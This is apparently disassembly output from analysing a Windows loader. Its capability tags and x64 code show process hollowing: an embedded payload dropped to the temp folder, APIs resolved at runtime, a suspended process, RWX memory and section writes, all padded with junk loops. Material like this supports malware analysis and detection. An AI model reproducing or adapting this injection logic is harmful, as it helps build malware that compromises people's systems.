Function at 0x1400dd68b
Capabilities:
Get common file path
Link many functions at runtime

Disassembly:
jmp 0x1401383d0
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0x2378
call fcn.1400ddff5
sub rsp, rax
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x74a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x2398]
mov rax, qword [0x140493f40]
xor rax, rbp
mov qword [rbp + 0x2318], rax
lea rcx, [0x1404bd0fe]
call fcn.1400e28ac
mov rax, qword [rbp + 0x2340]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rbp + 8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rbp + 8]
lea rax, [rcx + rax + 0x108]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 8], 0
je 0x14013846d
cmp qword [rbp + 0x28], 0
je 0x14013846d
cmp qword [rbp + 0x48], 0
jne 0x140138474
xor al, al
jmp 0x14013a008
mov dword [rbp + 0x64], 2
jmp 0x140138485
mov eax, dword [rbp + 0x64]
inc eax
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0x2d9f
jae 0x140138548
mov ecx, 0xea60
call fcn.1400df693
mov qword [rbp + 0x1cb8], rax
mov rax, qword [rbp + 0x1cb8]
mov qword [rbp + 0x88], rax
mov dword [rbp + 0xa4], 0
jmp 0x1401384cb
mov eax, dword [rbp + 0xa4]
inc eax
mov dword [rbp + 0xa4], eax
cmp dword [rbp + 0xa4], 0x30c5
jae 0x1401384f9
cmp dword [rbp + 0xa4], 0x3f
jne 0x1401384e2
jmp 0x1401384f9
movsxd rax, dword [rbp + 0xa4]
mov rcx, qword [rbp + 0x88]
mov dword [rcx + rax*4], 0x1ffe
jmp 0x1401384bd
mov rax, qword [rbp + 0x88]
mov qword [rbp + 0x1cd8], rax
mov rcx, qword [rbp + 0x1cd8]
call fcn.1400dfa6c
cmp qword [rbp + 0x1cd8], 0
jne 0x14013852a
mov qword [rbp + 0x2308], 0
jmp 0x140138543
mov qword [rbp + 0x88], 0x8123
mov rax, qword [rbp + 0x88]
mov qword [rbp + 0x2308], rax
jmp 0x14013847d
mov dword [rbp + 0xc4], 3
jmp 0x140138562
mov eax, dword [rbp + 0xc4]
inc eax
mov dword [rbp + 0xc4], eax
cmp dword [rbp + 0xc4], 0x2d62
jae 0x140138628
mov ecx, 0xea60
call fcn.1400df693
mov qword [rbp + 0x1cf8], rax
mov rax, qword [rbp + 0x1cf8]
mov qword [rbp + 0xe8], rax
mov dword [rbp + 0x104], 0
jmp 0x1401385ab
mov eax, dword [rbp + 0x104]
inc eax
mov dword [rbp + 0x104], eax
cmp dword [rbp + 0x104], 0x2e54
jae 0x1401385d9
cmp dword [rbp + 0x104], 0x37
jne 0x1401385c2
jmp 0x1401385d9
movsxd rax, dword [rbp + 0x104]
mov rcx, qword [rbp + 0xe8]
mov dword [rcx + rax*4], 0x1f91
jmp 0x14013859d
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x1d18], rax
mov rcx, qword [rbp + 0x1d18]
call fcn.1400dfa6c
cmp qword [rbp + 0x1d18], 0
jne 0x14013860a
mov qword [rbp + 0x2308], 0
jmp 0x140138623
mov qword [rbp + 0xe8], 0x8123
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x2308], rax
jmp 0x140138554
mov dword [rbp + 0x124], 0x12
lea rdx, [rbp + 0x150]
mov ecx, 0x100
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
xor ecx, ecx
call fcn.140140170
mov ecx, eax
call fcn.1400e114b
mov dword [rbp + 0x364], 7
jmp 0x14013866c
mov eax, dword [rbp + 0x364]
inc eax
mov dword [rbp + 0x364], eax
cmp dword [rbp + 0x364], 0x2d03
jae 0x140138732
mov ecx, 0xea60
call fcn.1400df693
mov qword [rbp + 0x1d38], rax
mov rax, qword [rbp + 0x1d38]
mov qword [rbp + 0x388], rax
mov dword [rbp + 0x3a4], 0
jmp 0x1401386b5
mov eax, dword [rbp + 0x3a4]
inc eax
mov dword [rbp + 0x3a4], eax
cmp dword [rbp + 0x3a4], 0x309a
jae 0x1401386e3
cmp dword [rbp + 0x3a4], 0x63
jne 0x1401386cc
jmp 0x1401386e3
movsxd rax, dword [rbp + 0x3a4]
mov rcx, qword [rbp + 0x388]
mov dword [rcx + rax*4], 0x1e12
jmp 0x1401386a7
mov rax, qword [rbp + 0x388]
mov qword [rbp + 0x1d58], rax
mov rcx, qword [rbp + 0x1d58]
call fcn.1400dfa6c
cmp qword [rbp + 0x1d58], 0
jne 0x140138714
mov qword [rbp + 0x2308], 0
jmp 0x14013872d
mov qword [rbp + 0x388], 0x8123
mov rax, qword [rbp + 0x388]
mov qword [rbp + 0x2308], rax
jmp 0x14013865e
movzx eax, byte [0x140402bfe]
mov byte [rbp + 0x3d0], al
lea rax, [rbp + 0x3d1]
mov rdi, rax
xor eax, eax
mov ecx, 0x103
rep stosb byte [rdi], al
xor edx, edx
mov eax, dword [rbp + 0x124]
mov ecx, 0xb
div ecx
mov eax, edx
mov dword [rbp + 0x4f4], eax
mov dword [rbp + 0x514], 0
jmp 0x140138783
mov eax, dword [rbp + 0x514]
inc eax
mov dword [rbp + 0x514], eax
mov eax, dword [rbp + 0x4f4]
cmp dword [rbp + 0x514], eax
jge 0x1401387df
call fcn.1400e0679
cdqe
xor edx, edx
mov ecx, 0xc
div rcx
mov rax, rdx
mov dword [rbp + 0x534], eax
movsxd rax, dword [rbp + 0x534]
lea rcx, str.ZQMNBNXQFBFKabcdefghijklmnopqrstuvwxyzSLAIDP
movzx eax, byte [rcx + rax]
mov byte [rbp + 0x554], al
mov byte [rbp + 0x555], 0
lea rdx, [rbp + 0x554]
lea rcx, [rbp + 0x3d0]
call fcn.1400e0057
jmp 0x140138775
mov dword [rbp + 0x574], 7
jmp 0x1401387f9
mov eax, dword [rbp + 0x574]
inc eax
mov dword [rbp + 0x574], eax
cmp dword [rbp + 0x574], 0x2ca4
jae 0x1401388bf
mov ecx, 0xea60
call fcn.1400df693
mov qword [rbp + 0x1d78], rax
mov rax, qword [rbp + 0x1d78]
mov qword [rbp + 0x598], rax
mov dword [rbp + 0x5b4], 0
jmp 0x140138842
mov eax, dword [rbp + 0x5b4]
inc eax
mov dword [rbp + 0x5b4], eax
cmp dword [rbp + 0x5b4], 0x2f6a
jae 0x140138870
cmp dword [rbp + 0x5b4], 0x2a
jne 0x140138859
jmp 0x140138870
movsxd rax, dword [rbp + 0x5b4]
mov rcx, qword [rbp + 0x598]
mov dword [rcx + rax*4], 0xd75
jmp 0x140138834
mov rax, qword [rbp + 0x598]
mov qword [rbp + 0x1d98], rax
mov rcx, qword [rbp + 0x1d98]
call fcn.1400dfa6c
cmp qword [rbp + 0x1d98], 0
jne 0x1401388a1
mov qword [rbp + 0x2308], 0
jmp 0x1401388ba
mov qword [rbp + 0x598], 0x8123
mov rax, qword [rbp + 0x598]
mov qword [rbp + 0x2308], rax
jmp 0x1401387eb
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x5e0]
call fcn.1400ded5b
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp + 0x5e0]
call fcn.1400def2c
mov eax, 2
imul rax, rax, 0x103
mov qword [rbp + 0x1db8], rax
cmp qword [rbp + 0x1db8], 0x208
jae 0x140138907
jmp 0x14013890c
call fcn.1400e0fe3
xor eax, eax
mov rcx, qword [rbp + 0x1db8]
mov word [rbp + rcx + 0x5e0], ax
mov qword [rbp + 0x808], 0
lea r8, [0x140402d9c]
lea rdx, [rbp + 0x5e0]
lea rcx, [rbp + 0x808]
call fcn.1400de0e5
mov dword [rbp + 0x824], eax
lea rcx, [rbp + 0x1dd4]
call fcn.14012e3d0
mov rcx, rax
call fcn.1400e0dc7
mov eax, eax
lea rcx, [0x140493c00]
mov rax, qword [rcx + rax*8]
mov qword [rbp + 0x2308], rax
mov r8d, 0x9960
lea rdx, [0x140461040]
lea rcx, [0x1404968e8]
call qword [rbp + 0x2308]
mov r9, qword [rbp + 0x808]
mov r8d, 0x9960
mov edx, 1
lea rcx, [0x140461040]
call fcn.1400e2c53
mov rcx, qword [rbp + 0x808]
call fcn.1400df2a1
lea rcx, [rbp + 0x1df4]
call fcn.14012e7a0
mov rcx, rax
call fcn.1400deebe
mov eax, eax
lea rcx, [0x140493c60]
mov rax, qword [rcx + rax*8]
mov qword [rbp + 0x2308], rax
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x28]
call qword [rbp + 0x2308]
mov byte [rbp + 0x844], al
mov rax, qword [rbp + 0x2340]
mov qword [rbp + 0x868], rax
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x890]
call fcn.1400e1240
mov dword [rbp + 0x890], 0x68
mov r8d, 0x18
xor edx, edx
lea rcx, [rbp + 0x918]
call fcn.1400e1240
mov dword [rbp + 0x944], 7
jmp 0x140138a4a
mov eax, dword [rbp + 0x944]
inc eax
mov dword [rbp + 0x944], eax
cmp dword [rbp + 0x944], 0x2ddd
jae 0x140138b10
mov ecx, 0xea60
call fcn.1400df693
mov qword [rbp + 0x1e18], rax
mov rax, qword [rbp + 0x1e18]
mov qword [rbp + 0x968], rax
mov dword [rbp + 0x984], 0
jmp 0x140138a93
mov eax, dword [rbp + 0x984]
inc eax
mov dword [rbp + 0x984], eax
cmp dword [rbp + 0x984], 0x2da2
jae 0x140138ac1
cmp dword [rbp + 0x984], 0x4b
jne 0x140138aaa
jmp 0x140138ac1
movsxd rax, dword [rbp + 0x984]
mov rcx, qword [rbp + 0x968]
mov dword [rcx + rax*4], 0x1ccb
jmp 0x140138a85
mov rax, qword [rbp + 0x968]
mov qword [rbp + 0x1e38], rax
mov rcx, qword [rbp + 0x1e38]
call fcn.1400dfa6c
cmp qword [rbp + 0x1e38], 0
jne 0x140138af2
mov qword [rbp + 0x2308], 0
jmp 0x140138b0b
mov qword [rbp + 0x968], 0x8123
mov rax, qword [rbp + 0x968]
mov qword [rbp + 0x2308], rax
jmp 0x140138a3c
mov dword [rbp + 0x9a4], 1
jmp 0x140138b2a
mov eax, dword [rbp + 0x9a4]
inc eax
mov dword [rbp + 0x9a4], eax
cmp dword [rbp + 0x9a4], 0x2da0
jae 0x140138bf0
mov ecx, 0xea60
call fcn.1400df693
mov qword [rbp + 0x1e58], rax
mov rax, qword [rbp + 0x1e58]
mov qword [rbp + 0x9c8], rax
mov dword [rbp + 0x9e4], 0
jmp 0x140138b73
mov eax, dword [rbp + 0x9e4]
inc eax
mov dword [rbp + 0x9e4], eax
cmp dword [rbp + 0x9e4], 0x3302
jae 0x140138ba1
cmp dword [rbp + 0x9e4], 0x43
jne 0x140138b8a
jmp 0x140138ba1
movsxd rax, dword [rbp + 0x9e4]
mov rcx, qword [rbp + 0x9c8]
mov dword [rcx + rax*4], 0x1c5e
jmp 0x140138b65
mov rax, qword [rbp + 0x9c8]
mov qword [rbp + 0x1e78], rax
mov rcx, qword [rbp + 0x1e78]
call fcn.1400dfa6c
cmp qword [rbp + 0x1e78], 0
jne 0x140138bd2
mov qword [rbp + 0x2308], 0
jmp 0x140138beb
mov qword [rbp + 0x9c8], 0x8123
mov rax, qword [rbp + 0x9c8]
mov qword [rbp + 0x2308], rax
jmp 0x140138b1c
lea rdx, [rbp + 0xa08]
lea rcx, [rbp + 0x1e94]
call fcn.14012eb00
lea rcx, [rbp + 0xa08]
call fcn.1400dfc33
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rbp + 0xa48], rax
cmp qword [rbp + 0xa48], 0
jne 0x140138c30
xor al, al
jmp 0x14013a008
lea rdx, [rbp + 0xa68]
lea rcx, [rbp + 0x1eb4]
call fcn.14012eb70
lea rcx, [rbp + 0x1ed4]
call fcn.14012ee20
mov rcx, rax
call fcn.1400deca2
mov eax, eax
lea rcx, [0x140493cc0]
mov rax, qword [rcx + rax*8]
mov qword [rbp + 0x2308], rax
lea rcx, [rbp + 0xa68]
call fcn.1400decf7
mov qword [rbp + 0x2310], rax
mov rcx, qword [rbp + 0x2310]
call qword [rbp + 0x2308]
mov rdx, rax
mov rcx, qword [rbp + 0xa48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xaa8], rax
cmp qword [rbp + 0xaa8], 0
jne 0x140138cb3
xor al, al
jmp 0x14013a008
mov rax, qword [rbp + 0xaa8]
mov qword [rbp + 0x2308], rax
lea rax, [rbp + 0x918]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x890]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x5e0]
call qword [rbp + 0x2308]
test rax, rax
je 0x140138d1e
mov byte [rbp + 0x2310], 1
jmp 0x140138d25
mov byte [rbp + 0x2310], 0
movzx eax, byte [rbp + 0x2310]
mov byte [rbp + 0xac4], al
movzx eax, byte [rbp + 0xac4]
test eax, eax
jne 0x140138d44
xor al, al
jmp 0x14013a008
lea rcx, [rbp + 0xa68]
call fcn.1400e2dfc
movzx eax, byte [rbp + 0x844]
test eax, eax
je 0x140138e10
lea rdx, [rbp + 0xb08]
lea rcx, [rbp + 0x1ef4]
call fcn.14012f060
lea rcx, [rbp + 0x1f14]
call fcn.14012f1f0
mov rcx, rax
call fcn.1400deca2
mov eax, eax
lea rcx, [0x140493d20]
mov rax, qword [rcx + rax*8]
mov qword [rbp + 0x2308], rax
lea rcx, [rbp + 0xb08]
call fcn.1400decf7
mov qword [rbp + 0x2310], rax
mov rcx, qword [rbp + 0x2310]
call qword [rbp + 0x2308]
mov rdx, rax
mov rcx, qword [rbp + 0xa48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xb48], rax
cmp qword [rbp + 0xb48], 0
jne 0x140138de2
xor al, al
jmp 0x14013a008
mov rax, qword [rbp + 0xb48]
mov qword [rbp + 0x2308], rax
lea rdx, [rbp + 0xae4]
mov rcx, qword [rbp + 0x918]
call qword [rbp + 0x2308]
lea rcx, [rbp + 0xb08]
call fcn.1400e2dfc
lea rdx, [rbp + 0xb68]
lea rcx, [rbp + 0x1f34]
call fcn.14012f310
lea rcx, [rbp + 0x1f54]
call fcn.14012f5c0
mov rcx, rax
call fcn.1400df8ff
mov eax, eax
lea rcx, [0x140493d80]
mov rax, qword [rcx + rax*8]
mov qword [rbp + 0x2308], rax
lea rcx, [rbp + 0xb68]
call fcn.1400decf7
mov qword [rbp + 0x2310], rax
mov rcx, qword [rbp + 0x2310]
call qword [rbp + 0x2308]
mov rdx, rax
mov rcx, qword [rbp + 0xa48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xba8], rax
cmp qword [rbp + 0xba8], 0
jne 0x140138e93
xor al, al
jmp 0x14013a008
lea rcx, [rbp + 0xb68]
call fcn.1400e2dfc
mov dword [rbp + 0xbc4], 0xa
jmp 0x140138eb9
mov eax, dword [rbp + 0xbc4]
inc eax
mov dword [rbp + 0xbc4], eax
cmp dword [rbp + 0xbc4], 0x2d04
jae 0x140138f7f
mov ecx, 0xea60
call fcn.1400df693
mov qword [rbp + 0x1f78], rax
mov rax, qword [rbp + 0x1f78]
mov qword [rbp + 0xbe8], rax
mov dword [rbp + 0xc04], 0
jmp 0x140138f02
mov eax, dword [rbp + 0xc04]
inc eax
mov dword [rbp + 0xc04], eax
cmp dword [rbp + 0xc04], 0x2f61
jae 0x140138f30
cmp dword [rbp + 0xc04], 2
jne 0x140138f19
jmp 0x140138f30
movsxd rax, dword [rbp + 0xc04]
mov rcx, qword [rbp + 0xbe8]
mov dword [rcx + rax*4], 0x1a72
jmp 0x140138ef4
mov rax, qword [rbp + 0xbe8]
mov qword [rbp + 0x1f98], rax
mov rcx, qword [rbp + 0x1f98]
call fcn.1400dfa6c
cmp qword [rbp + 0x1f98], 0
jne 0x140138f61
mov qword [rbp + 0x2308], 0
jmp 0x140138f7a
mov qword [rbp + 0xbe8], 0x8123
mov rax, qword [rbp + 0xbe8]
mov qword [rbp + 0x2308], rax
jmp 0x140138eab
mov rax, qword [rbp + 0xba8]
mov qword [rbp + 0x2308], rax
mov rax, qword [rbp + 0x28]
mov eax, dword [rax + 0x50]
mov rcx, qword [rbp + 0x28]
mov ecx, dword [rcx + 0x34]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
mov edx, ecx
mov rcx, qword [rbp + 0x918]
call qword [rbp + 0x2308]
mov qword [rbp + 0xc28], rax
cmp qword [rbp + 0xc28], 0
jne 0x140139095
lea rdx, [rbp + 0xc48]
lea rcx, [rbp + 0x1fb4]
call fcn.14012d350
lea rcx, [rbp + 0x1fd4]
call fcn.14012d4e0
mov rcx, rax
call fcn.1400e18d0
mov eax, eax
lea rcx, [0x140493de0]
mov rax, qword [rcx + rax*8]
mov qword [rbp + 0x2308], rax
lea rcx, [rbp + 0xc48]
call fcn.1400dd929
mov qword [rbp + 0x2310], rax
mov rcx, qword [rbp + 0x2310]
call qword [rbp + 0x2308]
mov rdx, rax
mov rcx, qword [rbp + 0xa48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xc88], rax
cmp qword [rbp + 0xc88], 0
jne 0x140139053
xor al, al
jmp 0x14013a008
mov rax, qword [rbp + 0xc88]
mov qword [rbp + 0x2308], rax
xor edx, edx
mov rcx, qword [rbp + 0x918]
call qword [rbp + 0x2308]
mov rcx, qword [rbp + 0xa48]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
lea rcx, [rbp + 0xc48]
call fcn.1400df706
mov rcx, qword [rbp + 0x2340]
call fcn.1400dd68b
mov dword [rbp + 0xca4], 5
jmp 0x1401390af
mov eax, dword [rbp + 0xca4]
inc eax
mov dword [rbp + 0xca4], eax
cmp dword [rbp + 0xca4], 0x2d82
jae 0x140139175
mov ecx, 0xea60
call fcn.1400df693
mov qword [rbp + 0x1ff8], rax
mov rax, qword [rbp + 0x1ff8]
mov qword [rbp + 0xcc8], rax
mov dword [rbp + 0xce4], 0
jmp 0x1401390f8
mov eax, dword [rbp + 0xce4]
inc eax
mov dword [rbp + 0xce4], eax
cmp dword [rbp + 0xce4], 0x32e8
jae 0x140139126
cmp dword [rbp + 0xce4], 0x62
jne 0x14013910f
jmp 0x140139126
movsxd rax, dword [rbp + 0xce4]
mov rcx, qword [rbp + 0xcc8]
mov dword [rcx + rax*4], 0x8c3
jmp 0x1401390ea
mov rax, qword [rbp + 0xcc8]
mov qword [rbp + 0x2018], rax
mov rcx, qword [rbp + 0x2018]
call fcn.1400dfa6c
cmp qword [rbp + 0x2018], 0
jne 0x140139157
mov qword [rbp + 0x2308], 0
jmp 0x140139170
mov qword [rbp + 0xcc8], 0x8123
mov rax, qword [rbp + 0xcc8]
mov qword [rbp + 0x2308], rax
jmp 0x1401390a1
lea rdx, [rbp + 0xd08]
lea rcx, [rbp + 0x2034]
call fcn.14012d720
mov rax, qword [rbp + 0x28]
mov eax, dword [rax + 0x34]
mov rcx, qword [rbp + 0xc28]
sub rcx, rax
mov rax, rcx
mov dword [rbp + 0xd44], eax
lea rcx, [rbp + 0x2054]
call fcn.14012d8b0
mov rcx, rax
call fcn.1400e267c
mov eax, eax
lea rcx, [0x140493d80]
mov rax, qword [rcx + rax*8]
mov qword [rbp + 0x2308], rax
lea rcx, [rbp + 0xd08]
call fcn.1400de9b9
mov qword [rbp + 0x2310], rax
mov rcx, qword [rbp + 0x2310]
call qword [rbp + 0x2308]
mov rdx, rax
mov rcx, qword [rbp + 0xa48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xd68], rax
mov byte [rbp + 0xd84], 0
movzx eax, byte [rbp + 0x844]
test eax, eax
je 0x140139280
mov rax, qword [rbp + 0x28]
mov ecx, dword [rbp + 0xc28]
mov dword [rax + 0x34], ecx
mov rax, qword [rbp + 0xd68]
mov qword [rbp + 0x2308], rax
mov rax, qword [rbp + 0x28]
mov eax, dword [rax + 0x54]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rbp + 0x868]
mov rdx, qword [rbp + 0xc28]
mov rcx, qword [rbp + 0x918]
call qword [rbp + 0x2308]
test rax, rax
je 0x14013926a
mov byte [rbp + 0x2310], 1
jmp 0x140139271
mov byte [rbp + 0x2310], 0
movzx eax, byte [rbp + 0x2310]
mov byte [rbp + 0xd84], al
jmp 0x1401392de
mov rax, qword [rbp + 0xd68]
mov qword [rbp + 0x2308], rax
mov rax, qword [rbp + 0x28]
mov eax, dword [rax + 0x54]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rbp + 0x868]
mov rdx, qword [rbp + 0xc28]
mov rcx, qword [rbp + 0x918]
call qword [rbp + 0x2308]
test rax, rax
je 0x1401392ca
mov byte [rbp + 0x2310], 1
jmp 0x1401392d1
mov byte [rbp + 0x2310], 0
movzx eax, byte [rbp + 0x2310]
mov byte [rbp + 0xd84], al
movzx eax, byte [rbp + 0xd84]
test eax, eax
jne 0x1401392f0
xor al, al
jmp 0x14013a008
mov qword [rbp + 0xdc8], 0
mov dword [rbp + 0xde4], 4
jmp 0x140139315
mov eax, dword [rbp + 0xde4]
inc eax
mov dword [rbp + 0xde4], eax
cmp dword [rbp + 0xde4], 0x2d01
jae 0x1401393db
mov ecx, 0xea60
call fcn.1400df693
mov qword [rbp + 0x2078], rax
mov rax, qword [rbp + 0x2078]
mov qword [rbp + 0xe08], rax
mov dword [rbp + 0xe24], 0
jmp 0x14013935e
mov eax, dword [rbp + 0xe24]
inc eax
mov dword [rbp + 0xe24], eax
cmp dword [rbp + 0xe24], 0x2e9e
jae 0x14013938c
cmp dword [rbp + 0xe24], 0x3c
jne 0x140139375
jmp 0x14013938c
movsxd rax, dword [rbp + 0xe24]
mov rcx, qword [rbp + 0xe08]
mov dword [rcx + rax*4], 0x632
jmp 0x140139350
mov rax, qword [rbp + 0xe08]
mov qword [rbp + 0x2098], rax
mov rcx, qword [rbp + 0x2098]
call fcn.1400dfa6c
cmp qword [rbp + 0x2098], 0
jne 0x1401393bd
mov qword [rbp + 0x2308], 0
jmp 0x1401393d6
mov qword [rbp + 0xe08], 0x8123
mov rax, qword [rbp + 0xe08]
mov qword [rbp + 0x2308], rax
jmp 0x140139307
mov eax, 8
imul rax, rax, 5
mov rcx, qword [rbp + 0x28]
cmp dword [rcx + rax + 0x78], 0
je 0x14013940a
mov eax, 8
imul rax, rax, 5
mov rcx, qword [rbp + 0x28]
mov rax, qword [rcx + rax + 0x78]
mov qword [rbp + 0xda8], rax
jmp 0x14013942c
mov dword [rbp + 0x20b4], 0
mov dword [rbp + 0x20b8], 0
mov rax, qword [rbp + 0x20b4]
mov qword [rbp + 0xda8], rax
mov qword [rbp + 0xe48], 0
mov byte [rbp + 0xe64], 0
mov dword [rbp + 0xe84], 9
jmp 0x140139458
mov eax, dword [rbp + 0xe84]
inc eax
mov dword [rbp + 0xe84], eax
cmp dword [rbp + 0xe84], 0x2cc4
jae 0x14013951e
mov ecx, 0xea60
call fcn.1400df693
mov qword [rbp + 0x20d8], rax
mov rax, qword [rbp + 0x20d8]
mov qword [rbp + 0xea8], rax
mov dword [rbp + 0xec4], 0
jmp 0x1401394a1
mov eax, dword [rbp + 0xec4]
inc eax
mov dword [rbp + 0xec4], eax
cmp dword [rbp + 0xec4], 0x33fe
jae 0x1401394cf
cmp dword [rbp + 0xec4], 0x34
jne 0x1401394b8
jmp 0x1401394cf
movsxd rax, dword [rbp + 0xec4]
mov rcx, qword [rbp + 0xea8]
mov dword [rcx + rax*4], 0x5c5
jmp 0x140139493
mov rax, qword [rbp + 0xea8]
mov qword [rbp + 0x20f8], rax
mov rcx, qword [rbp + 0x20f8]
call fcn.1400dfa6c
cmp qword [rbp + 0x20f8], 0
jne 0x140139500
mov qword [rbp + 0x2308], 0
jmp 0x140139519
mov qword [rbp + 0xea8], 0x8123
mov rax, qword [rbp + 0xea8]
mov qword [rbp + 0x2308], rax
jmp 0x14013944a
movzx eax, byte [rbp + 0x844]
test eax, eax
je 0x14013966e
mov dword [rbp + 0xee4], 0
jmp 0x140139547
mov eax, dword [rbp + 0xee4]
inc eax
mov dword [rbp + 0xee4], eax
mov rax, qword [rbp + 0x28]
movzx eax, word [rax + 6]
cmp dword [rbp + 0xee4], eax
jge 0x140139658
mov rax, qword [rbp + 0x28]
movzx eax, word [rax + 0x14]
mov rcx, qword [rbp + 0x28]
lea rax, [rcx + rax + 0x18]
movsxd rcx, dword [rbp + 0xee4]
imul rcx, rcx, 0x28
add rax, rcx
mov qword [rbp + 0xf08], rax
mov rax, qword [rbp + 0xf08]
mov eax, dword [rax + 0xc]
cmp dword [rbp + 0xda8], eax
jb 0x1401395bd
mov rax, qword [rbp + 0xf08]
mov eax, dword [rax + 0xc]
mov rcx, qword [rbp + 0xf08]
add eax, dword [rcx + 8]
cmp dword [rbp + 0xda8], eax
jae 0x1401395bd
mov rax, qword [rbp + 0xf08]
mov qword [rbp + 0xdc8], rax
mov rax, qword [rbp + 0xd68]
mov qword [rbp + 0x2308], rax
mov rax, qword [rbp + 0xf08]
mov eax, dword [rax + 0x10]
mov rcx, qword [rbp + 0xf08]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rbp + 0x868]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rbp + 0xf08]
mov edx, dword [rdx + 0xc]
mov rdi, qword [rbp + 0xc28]
add rdi, rdx
mov rdx, rdi
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rcx, qword [rbp + 0x918]
call qword [rbp + 0x2308]
test rax, rax
je 0x14013962d
mov byte [rbp + 0x2310], 1
jmp 0x140139634
mov byte [rbp + 0x2310], 0
movzx eax, byte [rbp + 0x2310]
mov byte [rbp + 0xf24], al
movzx eax, byte [rbp + 0xf24]
test eax, eax
jne 0x140139653
xor al, al
jmp 0x14013a008
jmp 0x140139539
cmp qword [rbp + 0xdc8], 0
jne 0x140139669
xor al, al
jmp 0x14013a008
jmp 0x14013975d
mov dword [rbp + 0xf44], 0
jmp 0x140139688
mov eax, dword [rbp + 0xf44]
inc eax
mov dword [rbp + 0xf44], eax
mov rax, qword [rbp + 0x28]
movzx eax, word [rax + 6]
cmp dword [rbp + 0xf44], eax
jge 0x14013975d
mov rax, qword [rbp + 0x28]
movzx eax, word [rax + 0x14]
mov rcx, qword [rbp + 0x28]
lea rax, [rcx + rax + 0x18]
movsxd rcx, dword [rbp + 0xf44]
imul rcx, rcx, 0x28
add rax, rcx
mov qword [rbp + 0xe48], rax
mov rax, qword [rbp + 0xd68]
mov qword [rbp + 0x2308], rax
mov rax, qword [rbp + 0xe48]
mov eax, dword [rax + 0x10]
mov rcx, qword [rbp + 0xe48]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rbp + 0x868]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rbp + 0xe48]
mov edx, dword [rdx + 0xc]
mov rdi, qword [rbp + 0xc28]
add rdi, rdx
mov rdx, rdi
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rcx, qword [rbp + 0x918]
call qword [rbp + 0x2308]
test rax, rax
je 0x140139732
mov byte [rbp + 0x2310], 1
jmp 0x140139739
mov byte [rbp + 0x2310], 0
movzx eax, byte [rbp + 0x2310]
mov byte [rbp + 0xe64], al
movzx eax, byte [rbp + 0xe64]
test eax, eax
jne 0x140139758
xor al, al
jmp 0x14013a008
jmp 0x14013967a
mov dword [rbp + 0xf64], 3
jmp 0x140139777
mov eax, dword [rbp + 0xf64]
inc eax
mov dword [rbp + 0xf64], eax
cmp dword [rbp + 0xf64], 0x2e18
jae 0x14013983d
mov ecx, 0xea60
call fcn.1400df693
mov qword [rbp + 0x2118], rax
mov rax, qword [rbp + 0x2118]
mov qword [rbp + 0xf88], rax
mov dword [rbp + 0xfa4], 0
jmp 0x1401397c0
mov eax, dword [rbp + 0xfa4]
inc eax
mov dword [rbp + 0xfa4], eax
cmp dword [rbp + 0xfa4], 0x318d
jae 0x1401397ee
cmp dword [rbp + 0xfa4], 0x2c
jne 0x1401397d7
jmp 0x1401397ee
movsxd rax, dword [rbp + 0xfa4]
mov rcx, qword [rbp + 0xf88]
mov dword [rcx + rax*4], 0x558
jmp 0x1401397b2
mov rax, qword [rbp + 0xf88]
mov qword [rbp + 0x2138], rax
mov rcx, qword [rbp + 0x2138]
call fcn.1400dfa6c
cmp qword [rbp + 0x2138], 0
jne 0x14013981f
mov qword [rbp + 0x2308], 0
jmp 0x140139838
mov qword [rbp + 0xf88], 0x8123
mov rax, qword [rbp + 0xf88]
mov qword [rbp + 0x2308], rax
jmp 0x140139769
movzx eax, byte [rbp + 0x844]
test eax, eax
je 0x140139a9c
mov dword [rbp + 0xfc4], 0
mov eax, dword [rbp + 0xdac]
cmp dword [rbp + 0xfc4], eax
jae 0x140139a9c
mov rax, qword [rbp + 0xdc8]
mov eax, dword [rax + 0x14]
mov rcx, qword [rbp + 0x868]
add rcx, rax
mov rax, rcx
mov ecx, dword [rbp + 0xfc4]
add rax, rcx
mov qword [rbp + 0xfe8], rax
mov eax, dword [rbp + 0xfc4]
add rax, 8
mov dword [rbp + 0xfc4], eax
mov rax, qword [rbp + 0xfe8]
mov eax, dword [rax + 4]
sub rax, 8
xor edx, edx
mov ecx, 2
div rcx
mov dword [rbp + 0x1004], eax
mov dword [rbp + 0x1024], 0
